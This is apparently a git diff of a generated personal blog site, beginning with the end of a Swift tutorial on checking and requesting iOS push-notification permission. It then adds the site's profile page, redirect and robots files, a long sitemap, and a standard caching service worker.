+                notificationStatus.value = NotificationStatusType.denied
+            }
+        } else {
+            // Allowed
+            notificationStatus.value = NotificationStatusType.authorized
+        }
+    }
+}
+

That’s not all! Sharp-eyed friends should have noticed the custom UserDefaults “iOS9NotificationIsDetermined” in the ≤ iOS 9 judgment. What is it used for?

The main reason is that the method for detecting push notification permissions in ≤ iOS 9 can only use the current permissions as a judgment. If it is empty, it means no permission, but it will also be empty if the permission has not been asked. This is troublesome because it is unclear whether the user has never been asked or has denied the permission.

Here, I use a custom UserDefaults “iOS9NotificationIsDetermined” as a judgment switch and add it in the appDelegate’s didRegisterUserNotificationSettings:

1
+2
+3
+4
+5
+6
+
//appdelegate.swift:
+func application(_ application: UIApplication, didRegister notificationSettings: UIUserNotificationSettings) {
+    // For iOS 9 and below, this method is triggered after the permission prompt is shown and the user either allows or denies the notification.
+    UserDefaults.standard.set("iOS9NotificationIsDetermined", true)
+    checkNotificationPermissionStatus()
+}
+

After constructing the object and method for checking notification permission status, we need to add the following in appDelegate…

1
+2
+3
+4
+5
+6
+7
+8
+
//appdelegate.swift
+func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {  
+  checkNotificationPermissionStatus()
+  return true
+}
+func applicationDidBecomeActive(_ application: UIApplication) {
+  checkNotificationPermissionStatus()
+}
+

The app needs to check the push notification status both at launch and when returning from the background.

This covers the detection part. Next, let’s see how to handle the request for notification permissions if it has not been asked.

3. Request Notification Permission:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
func requestNotificationPermission() {
+    if #available(iOS 10.0, *) {
+        let permissions: UNAuthorizationOptions = [.badge, .alert, .sound]
+        UNUserNotificationCenter.current().requestAuthorization(options: permissions) { (granted, error) in
+            DispatchQueue.main.async {
+                checkNotificationPermissionStatus()
+            }
+        }
+    } else {
+        application.registerUserNotificationSettings(UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil))
+        // The didRegisterUserNotificationSettings in appdelegate.swift will handle the subsequent callback
+    }
+}
+

After handling detection and requests, let’s see how to apply it.

4. Application (Static)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
if notificationStatus.value == NotificationStatusType.authorized {
+    // OK!
+} else if notificationStatus.value == NotificationStatusType.denied {
+    // Not allowed
+    // This example shows a UIAlertController prompt and redirects to the settings page upon clicking
+    let alertController = UIAlertController(
+        title: "Dear, you are currently unable to receive notifications",
+        message: "Please enable notification permissions for the app.",
+        preferredStyle: .alert)
+    let settingAction = UIAlertAction(
+        title: "Go to Settings",
+        style: .destructive,
+        handler: {
+            (action: UIAlertAction!) -> Void in
+            if let bundleID = Bundle.main.bundleIdentifier, let url = URL(string: UIApplicationOpenSettingsURLString + bundleID) {
+                UIApplication.shared.openURL(url)
+            }
+    })
+    let okAction = UIAlertAction(
+        title: "Cancel",
+        style: .default,
+        handler: {
+            (action: UIAlertAction!) -> Void in
+            // well....
+    })
+    alertController.addAction(okAction)
+    alertController.addAction(settingAction)
+    self.present(alertController, animated: true) {
+        
+    }
+} else if notificationStatus.value == NotificationStatusType.notDetermined {
+    // Not asked
+    requestNotificationPermission()
+}
+

Note!! When jumping to the “Settings” page of the APP, do not use

UIApplication.shared.openURL(URL(string:”App-Prefs:root=\ (bundleID)”) )

method to jump, it will be rejected! It will be rejected! It will be rejected! (personal experience)

This is a Private API

5. Application (Dynamic)

For dynamically changing the status, since we use the Observable object for notificationStatus, we can add a listener in viewDidLoad where we need to monitor the status in real-time:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
override func viewDidLoad() {
+   super.viewDidLoad()
+   notificationStatus.afterChange += { oldStatus,newStatus in
+      if newStatus == NotificationStatusType.authorized {
+       //print("❤️Thank you for enabling notifications") 
+      } else if newStatus == NotificationStatusType.denied {
+       //print("😭Oh no")
+      }
+   }
+}
+

The above is just sample code. You can adjust the actual application and triggers as needed.

*When using Observable for notificationStatus, please pay attention to memory management. It should be released when necessary (to prevent memory leaks) and retained when not (to avoid listener failure).

Finally, here is the complete demo product:

[Wedding App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Wedding App

*Since our project supports iOS 9 to iOS 12, iOS 8 has not been tested and the support level is uncertain.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)

Always Keep the Enthusiasm for Exploring New Things

diff --git a/posts/index.html b/posts/index.html new file mode 100644 index 0000000000..3a8a2a1076 --- /dev/null +++ b/posts/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/real/index.html b/real/index.html new file mode 100644 index 0000000000..bfd732ccb4 --- /dev/null +++ b/real/index.html @@ -0,0 +1 @@ + Real Life | ZhgChgLi
Home Real Life
Real Life
Cancel

Real Life

1994, ♋️

From Changhua, Lives in Taipei / Taiwan 🇹🇼

Motto

One day you’ll leave this world behind, so live a life you will remember.

ΛVICII ◢ ◤ - The Nights.

Photography

Saṃghāta

Saṃghāta

Outdoor

2019 tSt Breeze Duathlon 50 KM

Travel, Biking, Running, Swimming, Hiking

  • 2018 Bangkok, Thailand 🇹🇭
  • 2019 Sabah, Malaysia 🇲🇾
  • 2019 Puma Night Run 10 KM
  • 2019 Taroko Gorge Marathon 12KM
  • 2019 tSt Breeze Duathlon 50 KM 🏃‍♂️ 🚴‍♂️
  • 2020 Standard Chartered Taipei Marathon 13 KM
  • ToDo 2022 Taipei Grand Trail
  • ToDo 2022 Free Diving

Writing

Night life, take us to the light

]

Bar, Izakaya

My Bars Map (50+ Bars)

My Favorite TV Series

Breaking Bad

  • Breaking Bad
  • Better Call Saul
  • The Big Bang Theory
  • Rick And Morty
  • Black Mirror
  • Narcos
  • Sherlock
  • Marvel TV Series (DareDevil/Luke Cage/Punisher…)
  • Orange Is the New Black
  • The Last Ship

Music never sleeps

Avicii

My Favorite Music Genres:

  • Tropical House🌴
  • Progressive House
  • Electronic Dance Music
  • POP
  • Country

My Favorite Musician:

  • AVICII
  • Kygo
  • Vicetone
  • Mike Perry
  • G.E.M 鄧紫棋

My Western Music Collection

2021

2020

2019

2018

2017

diff --git a/redirects.json b/redirects.json new file mode 100644 index 0000000000..458f14cf74 --- /dev/null +++ b/redirects.json @@ -0,0 +1 @@ +{"/norobots/":"https://en.zhgchg.li/404.html","/assets/":"https://en.zhgchg.li/404.html","/posts/":"https://en.zhgchg.li/404.html"} \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000000..dcc0be5c48 --- /dev/null +++ b/robots.txt @@ -0,0 +1,5 @@ +User-agent: * + +Disallow: /norobots/ + +Sitemap: https://en.zhgchg.li/sitemap.xml diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000000..e56de96c3b --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,1162 @@ + + + +https://en.zhgchg.li/posts/b7a3fb3d5531/ +2023-08-06T01:29:21+08:00 + + +https://en.zhgchg.li/posts/e37d66ea1146/ +2024-04-13T15:11:24+08:00 + + +https://en.zhgchg.li/posts/cb6eba52a342/ +2024-04-13T15:13:08+08:00 + + +https://en.zhgchg.li/posts/9a9aa892f9a9/ +2024-08-13T16:17:24+08:00 + + +https://en.zhgchg.li/posts/793bf2cdda0f/ +2024-04-13T15:17:02+08:00 + + +https://en.zhgchg.li/posts/1ca246e27273/ +2024-04-13T15:19:09+08:00 + + +https://en.zhgchg.li/posts/a4bc3bce7513/ +2024-04-13T15:21:43+08:00 + + +https://en.zhgchg.li/posts/ade9e745a4bf/ +2024-04-13T15:23:09+08:00 + + +https://en.zhgchg.li/posts/fd7f92d52baa/ +2024-04-13T15:25:31+08:00 + + +https://en.zhgchg.li/posts/8d863bcd1c55/ +2023-08-06T01:19:26+08:00 + + +https://en.zhgchg.li/posts/f644db1bb8bf/ +2024-04-13T15:32:20+08:00 + + +https://en.zhgchg.li/posts/a2920e33e73e/ +2023-08-06T01:18:33+08:00 + + +https://en.zhgchg.li/posts/e85d77b05061/ +2024-04-13T15:37:01+08:00 + + +https://en.zhgchg.li/posts/6012b7b4f612/ +2024-04-13T15:38:26+08:00 + + +https://en.zhgchg.li/posts/ac557047d206/ +2024-04-13T15:40:07+08:00 + + +https://en.zhgchg.li/posts/c5e7e580c341/ +2024-04-13T15:43:24+08:00 + + +https://en.zhgchg.li/posts/33afa0ae557d/ +2023-08-06T01:15:47+08:00 + + +https://en.zhgchg.li/posts/c3150cdc85dd/ +2024-04-13T15:49:52+08:00 + + +https://en.zhgchg.li/posts/a66ce3dc8bb9/ +2023-08-06T01:14:46+08:00 + + +https://en.zhgchg.li/posts/729d7b6817a4/ +2024-04-13T15:53:50+08:00 + + +https://en.zhgchg.li/posts/46410aaada00/ +2024-04-13T15:56:08+08:00 + + +https://en.zhgchg.li/posts/4079036c85c2/ +2023-08-06T01:10:08+08:00 + + +https://en.zhgchg.li/posts/bcff7c157941/ +2023-08-06T01:09:39+08:00 + + +https://en.zhgchg.li/posts/21119db777dd/ +2023-08-06T01:09:10+08:00 + + +https://en.zhgchg.li/posts/b08ef940c196/ +2024-09-13T17:32:09+08:00 + + +https://en.zhgchg.li/posts/14cee137c565/ +2024-04-13T16:06:12+08:00 + + +https://en.zhgchg.li/posts/94a4020edb82/ +2023-08-06T01:04:02+08:00 + + +https://en.zhgchg.li/posts/d01252331b53/ +2023-08-06T01:03:34+08:00 + + +https://en.zhgchg.li/posts/a8c2d7ed144b/ +2024-04-13T16:07:41+08:00 + + +https://en.zhgchg.li/posts/7498e1ff93ce/ +2023-08-06T01:02:37+08:00 + + +https://en.zhgchg.li/posts/d796bf8e661e/ +2024-04-13T16:09:26+08:00 + + +https://en.zhgchg.li/posts/99db2a1fbfe5/ +2024-04-13T16:16:28+08:00 + + +https://en.zhgchg.li/posts/2e4429f410d6/ +2023-08-06T00:58:08+08:00 + + +https://en.zhgchg.li/posts/1aa2f8445642/ +2024-04-13T16:24:35+08:00 + + +https://en.zhgchg.li/posts/724a7fb9a364/ +2023-08-06T00:55:11+08:00 + + +https://en.zhgchg.li/posts/cb00b1977537/ +2024-04-13T16:29:42+08:00 + + +https://en.zhgchg.li/posts/8a04443024e2/ +2024-04-13T16:31:53+08:00 + + +https://en.zhgchg.li/posts/41c49a75a743/ +2024-04-13T16:35:25+08:00 + + +https://en.zhgchg.li/posts/eab0e984043/ +2023-08-06T00:51:33+08:00 + + +https://en.zhgchg.li/posts/c0f99f987d9c/ +2023-08-06T00:50:53+08:00 + + +https://en.zhgchg.li/posts/c4d7c2ce5a8d/ +2024-04-13T16:39:36+08:00 + + +https://en.zhgchg.li/posts/ee47f8f1e2d2/ +2023-08-06T00:48:56+08:00 + + +https://en.zhgchg.li/posts/6ce488898003/ +2024-04-13T16:45:21+08:00 + + +https://en.zhgchg.li/posts/948ed34efa09/ +2024-04-13T16:48:34+08:00 + + +https://en.zhgchg.li/posts/12c5026da33d/ +2024-09-13T17:31:54+08:00 + + +https://en.zhgchg.li/posts/87090f101b9a/ +2024-04-13T16:55:22+08:00 + + +https://en.zhgchg.li/posts/70a1409b149a/ +2024-04-13T16:57:38+08:00 + + +https://en.zhgchg.li/posts/142244e5f07a/ +2023-08-06T00:45:45+08:00 + + +https://en.zhgchg.li/posts/d9a95d4224ea/ +2024-09-13T17:32:51+08:00 + + +https://en.zhgchg.li/posts/5ea3311119d8/ +2023-08-06T00:43:39+08:00 + + +https://en.zhgchg.li/posts/99a6cef90190/ +2024-04-14T00:30:08+08:00 + + +https://en.zhgchg.li/posts/9659db1357e4/ +2024-04-14T00:34:17+08:00 + + +https://en.zhgchg.li/posts/cb0c68c33994/ +2024-04-14T00:38:28+08:00 + + +https://en.zhgchg.li/posts/33f6aabb744f/ +2023-08-06T00:41:07+08:00 + + +https://en.zhgchg.li/posts/d61062833c1a/ +2024-04-14T00:43:33+08:00 + + +https://en.zhgchg.li/posts/ba5773a7bfea/ +2024-09-06T13:58:52+08:00 + + +https://en.zhgchg.li/posts/1c9eafd4a190/ +2023-08-06T00:39:08+08:00 + + +https://en.zhgchg.li/posts/118e924a1477/ +2024-08-10T17:22:08+08:00 + + +https://en.zhgchg.li/posts/d414bdbdb8c9/ +2024-04-14T09:54:47+08:00 + + +https://en.zhgchg.li/posts/11f6c8568154/ +2024-09-06T14:01:21+08:00 + + +https://en.zhgchg.li/posts/e77b80cc6f89/ +2024-04-14T09:58:38+08:00 + + +https://en.zhgchg.li/posts/9a05f632eba0/ +2023-08-06T00:36:16+08:00 + + +https://en.zhgchg.li/posts/793cb8f89b72/ +2024-04-14T10:00:19+08:00 + + +https://en.zhgchg.li/posts/78507a8de6a5/ +2024-09-06T14:00:33+08:00 + + +https://en.zhgchg.li/posts/ddd88a84e177/ +2024-04-14T10:04:46+08:00 + + +https://en.zhgchg.li/posts/a8c2d26cc734/ +2024-04-14T10:07:40+08:00 + + +https://en.zhgchg.li/posts/60473cb47550/ +2024-09-07T10:37:30+08:00 + + +https://en.zhgchg.li/posts/48a8526c1300/ +2024-04-14T10:14:31+08:00 + + +https://en.zhgchg.li/posts/a0c08d579ab1/ +2024-04-14T10:17:00+08:00 + + +https://en.zhgchg.li/posts/f1365e51902c/ +2024-04-14T10:18:42+08:00 + + +https://en.zhgchg.li/posts/e36e48bb9265/ +2024-04-14T10:23:05+08:00 + + +https://en.zhgchg.li/posts/4b9d09cea5f0/ +2023-08-06T00:17:01+08:00 + + +https://en.zhgchg.li/posts/a5643de271e4/ +2023-08-06T00:16:21+08:00 + + +https://en.zhgchg.li/posts/2724f02f6e7/ +2023-08-06T00:15:39+08:00 + + +https://en.zhgchg.li/posts/e7c547a5be22/ +2023-08-06T00:14:18+08:00 + + +https://en.zhgchg.li/posts/76d66c2e34af/ +2024-06-30T14:15:50+08:00 + + +https://en.zhgchg.li/posts/9da2c51fa4f2/ +2024-06-30T14:41:23+08:00 + + +https://en.zhgchg.li/posts/382218e15697/ +2023-08-06T00:02:30+08:00 + + +https://en.zhgchg.li/posts/5a5c4b25a83d/ +2023-09-04T22:32:47+08:00 + + +https://en.zhgchg.li/posts/7b8a0563c157/ +2024-06-30T14:40:21+08:00 + + +https://en.zhgchg.li/posts/d78e0b15a08a/ +2024-06-30T16:16:18+08:00 + + +https://en.zhgchg.li/posts/31b9b3a63abc/ +2024-06-30T17:08:49+08:00 + + +https://en.zhgchg.li/posts/bd94cc88f9c9/ +2024-02-18T12:09:17+08:00 + + +https://en.zhgchg.li/posts/f6713ba3fee3/ +2024-04-16T15:46:35+08:00 + + +https://en.zhgchg.li/posts/b04f4fba3cf2/ +2024-05-15T00:20:45+08:00 + + +https://en.zhgchg.li/posts/9d0f23784359/ +2024-05-27T08:51:57+08:00 + + +https://en.zhgchg.li/posts/9903c9783a97/ +2024-05-25T21:14:38+08:00 + + +https://en.zhgchg.li/posts/2981dc0fcd58/ +2024-06-01T22:51:40+08:00 + + +https://en.zhgchg.li/posts/cb65fd5ab770/ +2024-06-30T16:47:32+08:00 + + +https://en.zhgchg.li/posts/5033090c18ba/ +2024-08-10T17:11:41+08:00 + + +https://en.zhgchg.li/posts/cefdf4d41746/ +2024-09-13T17:30:14+08:00 + + +https://en.zhgchg.li/posts/755509180ca8/ +2024-08-14T20:07:49+08:00 + + +https://en.zhgchg.li/posts/309d0302877b/ +2024-08-20T23:45:32+08:00 + + +https://en.zhgchg.li/posts/7584f643c0aa/ +2024-08-20T23:32:04+08:00 + + +https://en.zhgchg.li/posts/b7e7c0938985/ +2024-09-13T14:50:45+08:00 + + +https://en.zhgchg.li/posts/f4b02ee342a4/ +2024-09-07T16:45:32+08:00 + + +https://en.zhgchg.li/posts/9e43897d99fc/ +2024-09-20T21:03:42+08:00 + + +https://en.zhgchg.li/categories/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/tags/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/archives/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/about/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/real/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/contact/ +2024-09-22T01:07:51+08:00 + + +https://en.zhgchg.li/ + + +https://en.zhgchg.li/tags/blog/ + + +https://en.zhgchg.li/tags/blogger/ + + +https://en.zhgchg.li/tags/developer/ + + +https://en.zhgchg.li/tags/life/ + + +https://en.zhgchg.li/tags/medium/ + + +https://en.zhgchg.li/tags/swift/ + + +https://en.zhgchg.li/tags/ios/ + + +https://en.zhgchg.li/tags/mobile-app-development/ + + +https://en.zhgchg.li/tags/uitextview/ + + +https://en.zhgchg.li/tags/ios-app-development/ + + +https://en.zhgchg.li/tags/push-notification/ + + +https://en.zhgchg.li/tags/notificationservice/ + + +https://en.zhgchg.li/tags/machine-learning/ + + +https://en.zhgchg.li/tags/facedetection/ + + +https://en.zhgchg.li/tags/natural-language-process/ + + +https://en.zhgchg.li/tags/3d-touch/ + + +https://en.zhgchg.li/tags/iphone/ + + +https://en.zhgchg.li/tags/iplayground/ + + +https://en.zhgchg.li/tags/uuid/ + + +https://en.zhgchg.li/tags/idfv/ + + +https://en.zhgchg.li/tags/ios12/ + + +https://en.zhgchg.li/tags/observables/ + + +https://en.zhgchg.li/tags/back-end-development/ + + +https://en.zhgchg.li/tags/life-lessons/ + + +https://en.zhgchg.li/tags/ios-12/ + + +https://en.zhgchg.li/tags/apple-watch/ + + +https://en.zhgchg.li/tags/watchos/ + + +https://en.zhgchg.li/tags/apple-watch-apps/ + + +https://en.zhgchg.li/tags/unboxing/ + + +https://en.zhgchg.li/tags/watchkit/ + + +https://en.zhgchg.li/tags/uikit/ + + +https://en.zhgchg.li/tags/autolayout/ + + +https://en.zhgchg.li/tags/attention-to-detail/ + + +https://en.zhgchg.li/tags/whoscall/ + + +https://en.zhgchg.li/tags/ios-apps/ + + +https://en.zhgchg.li/tags/ios-11/ + + +https://en.zhgchg.li/tags/airpods/ + + +https://en.zhgchg.li/tags/3c/ + + +https://en.zhgchg.li/tags/airpods2/ + + +https://en.zhgchg.li/tags/mijia/ + + +https://en.zhgchg.li/tags/homekit/ + + +https://en.zhgchg.li/tags/catalyst/ + + +https://en.zhgchg.li/tags/capture-the-flag/ + + +https://en.zhgchg.li/tags/php/ + + +https://en.zhgchg.li/tags/computer-science/ + + +https://en.zhgchg.li/tags/wargame/ + + +https://en.zhgchg.li/tags/mitmproxy/ + + +https://en.zhgchg.li/tags/man-in-the-middle/ + + +https://en.zhgchg.li/tags/hacking/ + + +https://en.zhgchg.li/tags/iplayground2019/ + + +https://en.zhgchg.li/tags/taiwan-ios-conference/ + + +https://en.zhgchg.li/tags/xiaomi/ + + +https://en.zhgchg.li/tags/mi-home/ + + +https://en.zhgchg.li/tags/home-appliances/ + + +https://en.zhgchg.li/tags/ios-13/ + + +https://en.zhgchg.li/tags/siri/ + + +https://en.zhgchg.li/tags/siri-shortcut/ + + +https://en.zhgchg.li/tags/deeplink/ + + +https://en.zhgchg.li/tags/universal-links/ + + +https://en.zhgchg.li/tags/app-store/ + + +https://en.zhgchg.li/tags/uiviewcontroller/ + + +https://en.zhgchg.li/tags/xiaomi-air-purifier/ + + +https://en.zhgchg.li/tags/writing-life/ + + +https://en.zhgchg.li/tags/medium-taiwan/ + + +https://en.zhgchg.li/tags/small-things-matter/ + + +https://en.zhgchg.li/tags/jailbreak/ + + +https://en.zhgchg.li/tags/security/ + + +https://en.zhgchg.li/tags/hls/ + + +https://en.zhgchg.li/tags/cache/ + + +https://en.zhgchg.li/tags/reverse-proxy/ + + +https://en.zhgchg.li/tags/homebridge/ + + +https://en.zhgchg.li/tags/imovie/ + + +https://en.zhgchg.li/tags/chroma-key/ + + +https://en.zhgchg.li/tags/wallpaper/ + + +https://en.zhgchg.li/tags/codable/ + + +https://en.zhgchg.li/tags/json/ + + +https://en.zhgchg.li/tags/decode/ + + +https://en.zhgchg.li/tags/google/ + + +https://en.zhgchg.li/tags/google-sites/ + + +https://en.zhgchg.li/tags/web-development/ + + +https://en.zhgchg.li/tags/domain-names/ + + +https://en.zhgchg.li/tags/core-data/ + + +https://en.zhgchg.li/tags/ios-14/ + + +https://en.zhgchg.li/tags/shell-script/ + + +https://en.zhgchg.li/tags/xcode/ + + +https://en.zhgchg.li/tags/toolkit/ + + +https://en.zhgchg.li/tags/apple/ + + +https://en.zhgchg.li/tags/apple-watch-series-6/ + + +https://en.zhgchg.li/tags/milanese-loop/ + + +https://en.zhgchg.li/tags/software-engineering/ + + +https://en.zhgchg.li/tags/version-control/ + + +https://en.zhgchg.li/tags/software-development/ + + +https://en.zhgchg.li/tags/avplayer/ + + +https://en.zhgchg.li/tags/music-player/ + + +https://en.zhgchg.li/tags/music-player-app/ + + +https://en.zhgchg.li/tags/password-security/ + + +https://en.zhgchg.li/tags/web-credential/ + + +https://en.zhgchg.li/tags/sign-in-with-apple/ + + +https://en.zhgchg.li/tags/laravel/ + + +https://en.zhgchg.li/tags/vagrant/ + + +https://en.zhgchg.li/tags/virtualbox/ + + +https://en.zhgchg.li/tags/google-cloud-platform/ + + +https://en.zhgchg.li/tags/cloud-functions/ + + +https://en.zhgchg.li/tags/cloud-scheduler/ + + +https://en.zhgchg.li/tags/python/ + + +https://en.zhgchg.li/tags/hacker/ + + +https://en.zhgchg.li/tags/web-security/ + + +https://en.zhgchg.li/tags/website-security-test/ + + +https://en.zhgchg.li/tags/domain-authority/ + + +https://en.zhgchg.li/tags/domain-registration/ + + +https://en.zhgchg.li/tags/taiwan/ + + +https://en.zhgchg.li/tags/security-token/ + + +https://en.zhgchg.li/tags/firebase/ + + +https://en.zhgchg.li/tags/notifications/ + + +https://en.zhgchg.li/tags/slackbot/ + + +https://en.zhgchg.li/tags/ruby/ + + +https://en.zhgchg.li/tags/fastlane/ + + +https://en.zhgchg.li/tags/automator/ + + +https://en.zhgchg.li/tags/slack/ + + +https://en.zhgchg.li/tags/app-review/ + + +https://en.zhgchg.li/tags/automation/ + + +https://en.zhgchg.li/tags/google-sheets/ + + +https://en.zhgchg.li/tags/app-script/ + + +https://en.zhgchg.li/tags/design-patterns/ + + +https://en.zhgchg.li/tags/visitor-pattern/ + + +https://en.zhgchg.li/tags/double-dispatch/ + + +https://en.zhgchg.li/tags/management/ + + +https://en.zhgchg.li/tags/leadership/ + + +https://en.zhgchg.li/tags/engineering/ + + +https://en.zhgchg.li/tags/management-studies/ + + +https://en.zhgchg.li/tags/engineer/ + + +https://en.zhgchg.li/tags/sidekick/ + + +https://en.zhgchg.li/tags/chrome/ + + +https://en.zhgchg.li/tags/chromium/ + + +https://en.zhgchg.li/tags/browsers/ + + +https://en.zhgchg.li/tags/%E7%94%9F%E6%B4%BB/ + + +https://en.zhgchg.li/tags/google-apps-script/ + + +https://en.zhgchg.li/tags/cicd/ + + +https://en.zhgchg.li/tags/workflow-automation/ + + +https://en.zhgchg.li/tags/pinkoi/ + + +https://en.zhgchg.li/tags/engineering-mangement/ + + +https://en.zhgchg.li/tags/workflow/ + + +https://en.zhgchg.li/tags/crashlytics/ + + +https://en.zhgchg.li/tags/bigquery/ + + +https://en.zhgchg.li/tags/privacy/ + + +https://en.zhgchg.li/tags/private-relay/ + + +https://en.zhgchg.li/tags/apple-privacy/ + + +https://en.zhgchg.li/tags/mopcon/ + + +https://en.zhgchg.li/tags/google-analytics/ + + +https://en.zhgchg.li/tags/socketio/ + + +https://en.zhgchg.li/tags/websocket/ + + +https://en.zhgchg.li/tags/finite-state-machine/ + + +https://en.zhgchg.li/tags/markdown/ + + +https://en.zhgchg.li/tags/backup/ + + +https://en.zhgchg.li/tags/nsattributedstring/ + + +https://en.zhgchg.li/tags/html-parsing/ + + +https://en.zhgchg.li/tags/html/ + + +https://en.zhgchg.li/tags/uitableview/ + + +https://en.zhgchg.li/tags/refactoring/ + + +https://en.zhgchg.li/tags/localization/ + + +https://en.zhgchg.li/tags/unit-testing/ + + +https://en.zhgchg.li/tags/jekyll/ + + +https://en.zhgchg.li/tags/github-actions/ + + +https://en.zhgchg.li/tags/self-hosted/ + + +https://en.zhgchg.li/tags/app-store-connect/ + + +https://en.zhgchg.li/tags/api/ + + +https://en.zhgchg.li/tags/integration/ + + +https://en.zhgchg.li/tags/google-play/ + + +https://en.zhgchg.li/tags/open-house/ + + +https://en.zhgchg.li/tags/tech-career/ + + +https://en.zhgchg.li/tags/career-advice/ + + +https://en.zhgchg.li/tags/html-parser/ + + +https://en.zhgchg.li/tags/rendering/ + + +https://en.zhgchg.li/tags/post/ + + +https://en.zhgchg.li/tags/medium-backup/ + + +https://en.zhgchg.li/tags/life/ + + +https://en.zhgchg.li/tags/japan/ + + +https://en.zhgchg.li/tags/kyoto/ + + +https://en.zhgchg.li/tags/osaka/ + + +https://en.zhgchg.li/tags/traveling/ + + +https://en.zhgchg.li/tags/tokyo/ + + +https://en.zhgchg.li/tags/tokyo-disneysea/ + + +https://en.zhgchg.li/tags/google-app-script/ + + +https://en.zhgchg.li/tags/github/ + + +https://en.zhgchg.li/tags/stars/ + + +https://en.zhgchg.li/tags/end-to-end-testing/ + + +https://en.zhgchg.li/tags/ui-testing/ + + +https://en.zhgchg.li/tags/automation-testing/ + + +https://en.zhgchg.li/tags/nagoya/ + + +https://en.zhgchg.li/tags/peach/ + + +https://en.zhgchg.li/tags/kyushu/ + + +https://en.zhgchg.li/tags/fukuoka/ + + +https://en.zhgchg.li/tags/kumamoto/ + + +https://en.zhgchg.li/tags/travel/ + + +https://en.zhgchg.li/tags/hiroshima/ + + +https://en.zhgchg.li/tags/okayama/ + + +https://en.zhgchg.li/tags/chatgpt/ + + +https://en.zhgchg.li/tags/roboticprocessautomation/ + + +https://en.zhgchg.li/tags/rpa-solutions/ + + +https://en.zhgchg.li/tags/man-in-the-middle-attack/ + + +https://en.zhgchg.li/tags/app-development/ + + +https://en.zhgchg.li/tags/asana/ + + +https://en.zhgchg.li/tags/scrum/ + + +https://en.zhgchg.li/tags/project-management/ + + +https://en.zhgchg.li/tags/open-source/ + + +https://en.zhgchg.li/tags/docker/ + + +https://en.zhgchg.li/tags/nginx/ + + +https://en.zhgchg.li/tags/layout/ + + +https://en.zhgchg.li/tags/travel-writing/ + + +https://en.zhgchg.li/tags/webview/ + + +https://en.zhgchg.li/tags/http-request/ + + +https://en.zhgchg.li/tags/paywall/ + + +https://en.zhgchg.li/tags/stripe/ + + +https://en.zhgchg.li/tags/earnings/ + + +https://en.zhgchg.li/tags/vision-framework/ + + +https://en.zhgchg.li/tags/apple-intelligence/ + + +https://en.zhgchg.li/tags/ai/ + + +https://en.zhgchg.li/tags/shortcuts/ + + +https://en.zhgchg.li/tags/simulator/ + + +https://en.zhgchg.li/tags/bugs/ + + +https://en.zhgchg.li/tags/bangkok/ + + +https://en.zhgchg.li/tags/thailand/ + + +https://en.zhgchg.li/tags/chain-of-responsibility/ + + +https://en.zhgchg.li/tags/builder-pattern/ + + +https://en.zhgchg.li/tags/strategy-pattern/ + + +https://en.zhgchg.li/tags/ios-18/ + + +https://en.zhgchg.li/categories/zrealm/ + + +https://en.zhgchg.li/categories/life/ + + +https://en.zhgchg.li/categories/dev/ + + +https://en.zhgchg.li/categories/beginner/ + + +https://en.zhgchg.li/categories/management/ + + +https://en.zhgchg.li/categories/pinkoi/ + + +https://en.zhgchg.li/categories/engineering/ + + +https://en.zhgchg.li/categories/travelogue/ + + +https://en.zhgchg.li/categories/z/ + + +https://en.zhgchg.li/categories/travelogues/ + + +https://en.zhgchg.li/categories/kkday/ + + +https://en.zhgchg.li/categories/tech/ + + +https://en.zhgchg.li/categories/blog/ + + +https://en.zhgchg.li/page2/ + + +https://en.zhgchg.li/page3/ + + +https://en.zhgchg.li/page4/ + + +https://en.zhgchg.li/page5/ + + +https://en.zhgchg.li/page6/ + + +https://en.zhgchg.li/page7/ + + +https://en.zhgchg.li/page8/ + + +https://en.zhgchg.li/page9/ + + +https://en.zhgchg.li/page10/ + + diff --git a/sw.js b/sw.js new file mode 100644 index 0000000000..532b129cdd --- /dev/null +++ b/sw.js @@ -0,0 +1 @@ +self.importScripts('/assets/js/data/swcache.js'); const cacheName = 'chirpy-20240922.010806'; function verifyDomain(url) { for (const domain of allowedDomains) { const regex = RegExp(`^http(s)?:\/\/${domain}\/`); if (regex.test(url)) { return true; } } return false; } function isExcluded(url) { for (const item of denyUrls) { if (url === item) { return true; } } return false; } self.addEventListener('install', event => { event.waitUntil( caches.open(cacheName).then(cache => { return cache.addAll(resource); }) ); }); self.addEventListener('activate', event => { event.waitUntil( caches.keys().then(keyList => { return Promise.all( keyList.map(key => { if (key !== cacheName) { return caches.delete(key); } }) ); }) ); }); self.addEventListener('message', (event) => { if (event.data === 'SKIP_WAITING') { self.skipWaiting(); } }); self.addEventListener('fetch', event => { event.respondWith( caches.match(event.request).then(response => { if (response) { return response; } return fetch(event.request).then(response => { const url = event.request.url; if (event.request.method !== 'GET' || !verifyDomain(url) || isExcluded(url)) { return response; } /* see: */ let responseToCache = response.clone(); caches.open(cacheName).then(cache => { /* console.log('[sw] Caching new resource: ' + event.request.url); */ cache.put(event.request, responseToCache); }); return response; }); }) ); }); diff --git a/tags/3c/index.html b/tags/3c/index.html new file mode 100644 index 0000000000..70a93f7402 --- /dev/null +++ b/tags/3c/index.html 